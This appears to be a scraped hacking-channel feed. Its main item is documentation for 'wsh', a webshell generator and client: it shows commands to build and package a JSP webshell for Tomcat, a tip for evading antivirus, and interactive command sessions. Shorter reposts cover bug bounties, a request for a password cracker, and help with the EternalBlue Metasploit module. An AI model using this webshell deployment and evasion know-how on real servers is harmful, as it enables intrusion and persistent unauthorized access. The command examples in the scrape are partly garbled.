Hacking Articles Tips Tricks Videos Tutorials

To generate a webshell which can be deployed to tomcat, create a jsp shell named index.jsp and run the command below to zip it into a war file. Occasionally, the tomcat environment does not have the libraries required for file upload/download and the shell will error when a request is made. To remediate this, use the --no-file flag. $ wsh g jsp --param cmd --no-file -o index.jsp
$ jar -cvf shell.war index.jsp

Templates
Using the go template library adds alot of flexibility to the generator. Occasionally a webshell will get caught by AV however, I have found that adding in a bunch of random code in the template file will often make the shell look benign enough to allow it to persist on the disk. I have included an example in the templates/covert-php.tml file. Additionally, you can modify these templates to include your name/contact information for attribution in the use case of a penetration test.
Client Functionality

Prefix
A prefix can be specified to prepend a string to each command sent to the shell. This can be used to turn a normal cmd shell into a powershell (https://www.kitploit.com/search/label/PowerShell) shell. ls Directory: C:\windows\system32\inetsrv Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 5/27/2020 11:49 PM config d----- 5/27/2020 11:49 PM en d----- 5/28/2020 12:25 AM en-US -a---- 5/27/2020 11:49 PM 119808 appcmd.exe ">$ wsh http://10.0.0.27/shell.asp --param cmd --prefix powershell.exe
10.0.0.27> ls
Directory: C:\windows\system32\inetsrv

Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/27/2020 11:49 PM config
d----- 5/27/2020 11:49 PM en
d----- 5/28/2020 12:25 AM en-US
-a---- 5/27/2020 11:49 PM 119808 appcmd.exe

Logging
Logs are timestamped and include the host being interacted with. Log files are appended, so feel free to use the same log file for multiple sessions/hosts. ls README.md cmd example-configs ... [04/20/2020 12:02:17] 127.0.0.1> ls README.md cmd example-configs ">127.0.0.1:8080/shell.php --param cmd --log localhost.log
Logging to: localhost.log
127.0.0.1> ls
README.md
cmd
example-configs
...

[04/20/2020 12:02:17] 127.0.0.1> ls
README.md
cmd
example-configs

Trim prefix/suffix
The client can be configured to trim extraneous html content from a request, this is useful when interacting with standard html interface webshells, or maybe if a generated shell is sneakily embedded in a wordpress (https://www.kitploit.com/search/label/WordPress) installation. ls . . . Output README.md cmd example-configs index.php main.go templates . . . $ wsh 127.0.0.1:8080/index.php -X POST --param cmd --trim-prefix '' --trim-suffix '' 127.0.0.1> ls README.md cmd example-configs index.php main.go templates ">$ wsh 127.0.0.1:8080/index.php -X POST --param cmd
127.0.0.1> ls
. . .

Output

README.md
cmd
example-configs
index.php
main.go
templates

. . .

$ wsh 127.0.0.1:8080/index.php -X POST --param cmd --trim-prefix '' --trim-suffix ''
127.0.0.1> ls
README.md
cmd
example-configs
index.php
main.go
templates

Download Wsh (https://github.com/EatonChips/wsh)

14 views21:36

UPDATE: Bug Bounty — Winners Circle
https://medium.com/blind-boxes/update-bug-bounty-winners-circle-c663107f0292?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Medium

UPDATE: Bug Bounty — Winners Circle

The purpose of the Bug Bounty initiative was to engage the community to test-drive our Beta site. At the same time, we aimed to empower…

8 viewsedited 22:22

Hacking Articles Tips Tricks Videos Tutorials

6 views22:22

Hacking Articles Tips Tricks Videos Tutorials

The purpose of the Bug Bounty initiative was to engage the community to test-drive our Beta site. At the same time, we aimed to empower…Continue reading on Blind Boxes » (https://medium.com/blind-boxes/update-bug-bounty-winners-circle-c663107f0292?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Medium

UPDATE: Bug Bounty — Winners Circle

The purpose of the Bug Bounty initiative was to engage the community to test-drive our Beta site. At the same time, we aimed to empower…

6 viewsedited 22:22

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
/r/hacking wiki: Rules, FAQ, and How to Get Started - Read this First.

submitted by /u/DrinkMoreCodeMore
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

/r/hacking wiki: Rules, FAQ, and How to Get Started - Read this First.

Posted in r/hacking by u/DrinkMoreCodeMore • 49 points and 15 comments

8 viewsedited 23:02

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
trying to get through zip file password.

Im trying to download an album mp3 it wants me to do a password for the zip file. To get the password it wants me to do some bogus offer thing. I have a mac OS. Is there a password cracker that's free? but isn't easily detectable and shitty?

submitted by /u/Chakra23
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

trying to get through zip file password.

A subreddit dedicated to hacking and hackers. Constructive collaboration and learning about exploits, industry standards, grey and white hat...

8 viewsedited 23:03

Hacking Articles Tips Tricks Videos Tutorials

Седмична актуализация 8/3

През тази седмица на #актуализациите ни, ще споделим напредъка ни в програмата за откриване на технически грешки “bug bounty” и…Continue reading on Medium »
Read more...

7 views23:15

Hacking Articles Tips Tricks Videos Tutorials

UPDATE: Bug Bounty — Winners Circle

The purpose of the Bug Bounty initiative was to engage the community to test-drive our Beta site. At the same time, we aimed to empower…Continue reading on Blind Boxes »
Read more...

5 views23:15

Hacking Articles Tips Tricks Videos Tutorials

Help with eternalblue_doublepulsar exploit for metasploit
https://www.reddit.com/r/Pentesting/comments/p2nvz6/help_with_eternalblue_doublepulsar_exploit_for/

___________________________
@hacking_Attack
@Hacking_Video

Help with eternalblue_doublepulsar exploit for metasploit

Posted in r/Pentesting by u/Biscotti2776 • 2 points and 0 comments

5 viewsedited 00:11

Hacking Articles Tips Tricks Videos Tutorials

Hey everyone, I am trying to use the eternalblue_doublepulsar exploit. I have downloaded eternalblue_doublepulsar exploit from https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git. I then copied the ruby file to /usr/share/metasploit-framework /module/exploits/windows/smb. Now when I try to run the attack I get this error https://preview.redd.it/7eysb9cy2tg71.png?width=1161&format=png&auto=webp&s=35a0f7b22ef20f0ea4b44d114648a72ee215a784 When I try to install wine32 it tells me its been replaced with libwine so I installed that and still get the same error as above https://preview.redd.it/6fdj3idz2tg71.png?width=580&format=png&auto=webp&s=328fd785a2dfcc6f7f30ec4130553063f555eadc Any help is greatly appreciated. Seems I need to figure out how to install wine32 for this to work submitted by /u/Biscotti2776 (https://www.reddit.com/user/Biscotti2776)
[link] (https://www.reddit.com/r/Pentesting/comments/p2nvz6/help_with_eternalblue_doublepulsar_exploit_for/) [comments] (https://www.reddit.com/r/Pentesting/comments/p2nvz6/help_with_eternalblue_doublepulsar_exploit_for/)

___________________________
@hacking_Attack
@Hacking_Video

GitHub

GitHub - Telefonica/Eternalblue-Doublepulsar-Metasploit: Module of Metasploit to exploit the vulnerability Eternalblue-Doublepulsar.

Module of Metasploit to exploit the vulnerability Eternalblue-Doublepulsar. - Telefonica/Eternalblue-Doublepulsar-Metasploit

6 viewsedited 00:11